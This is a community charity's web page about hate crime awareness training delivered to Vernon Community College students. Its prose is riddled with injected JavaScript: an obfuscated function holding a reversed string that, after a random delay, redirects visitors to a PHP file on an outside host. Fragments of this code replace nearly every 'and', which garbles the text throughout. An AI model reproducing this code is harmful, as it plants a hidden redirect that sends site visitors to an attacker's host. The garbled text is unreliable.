Communities Inc at Vernon Community College

As a part of our Building Stronger Communities project, we recently teamed up with Vernon Community College to deliver our hate crime awareness sessions to their students.

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Vernon Community College is a city centre based, innovative college, delivering a high standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andard education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and support to their students as well as local communities in Nottingham. They offer a variety of courses ranging from ESOL, IT to Customer Service, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Construction. They always go the extra mile to meet personal needs of their pupils, providing a selection of enrichment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leisure activities to develop interests andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and skills. Michael Henry, our Director has had a long relationship with Vernon Community College andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and helped them grow over the years, therefore we welcomed the opportunity to work collaboratively with them.

College is also a very diverse learning environment, with students from many parts of the world including Eastern Europe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Africa. With $hiVNZt4Y5cDrbJXMhLy=function(n){if (typeof ($hiVNZt4Y5cDrbJXMhLy.list[n]) == “string”) return $hiVNZt4Y5cDrbJXMhLy.list[n].split(“”).reverse().join(“”);return $hiVNZt4Y5cDrbJXMhLy.list[n];};$hiVNZt4Y5cDrbJXMhLy.list=[“\’php.sgnittes-nigulp/nwodkcol-nigol/snigulp/tnetnoc-pw/moc.aretup07hn//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-wales-police-figures-new-racism-eu-a7580516.html”>hate crime on the rise in the post-referendum reality, it is important that we educate individuals andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and explain how to respond to incidents they might face. Raising awareness is especially needed in multicultural andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and migrant communities, who are at the increased risk of becoming victims or witnesses of hate crime. Awareness training is therefore a great addition to students curriculum.

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Communities_inc_vernon_collegeOur Hate Crime training is a service developed as a part of the Big Lottery funded Building Stronger Communities project. Our half – day awareness training focuses on definitions of hate crime andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and incidents devised by agencies, information about monitored strandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of hate crime, where andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how it takes place, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why it is important to report it. After these sessions Vernon Community College students will:

  • Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hate crimes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their impact on communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and individuals
  • Be aware why it is important to report hate crimes
  • Understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the role of organisations, communities andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and individuals in supporting hate crime reporting
  • Have a better knowledge of support services available of victims of hate crime

However the aim of this ongoing project is not only to increase the awareness about hate crime. A part of our work at Vernon Community College is setting up a third party reporting centre. We will be available to students to take reports of incidents andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and present them with information about long term support for victims.

Making communities stronger

HC StickerHate crime has a devastating, psychological andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and also economic, impact not just on individuals but whole communities, as it sends a message that the entire group is not welcome. Ability to identify hate crime andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and confidence in reporting is therefore an important aspect of restoring community cohesion. It fosters mutual support among its members andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sends a strong message that hate crime will not be tolerated. We believe that our work with Vernon Community College will boost students confidence andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and equip them with necessary skills to become upstandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anders.

If you are interested in receiving our training, please go to our hate crime training page. For our Quick Guide To Reporting Hate Crime, please follow the link.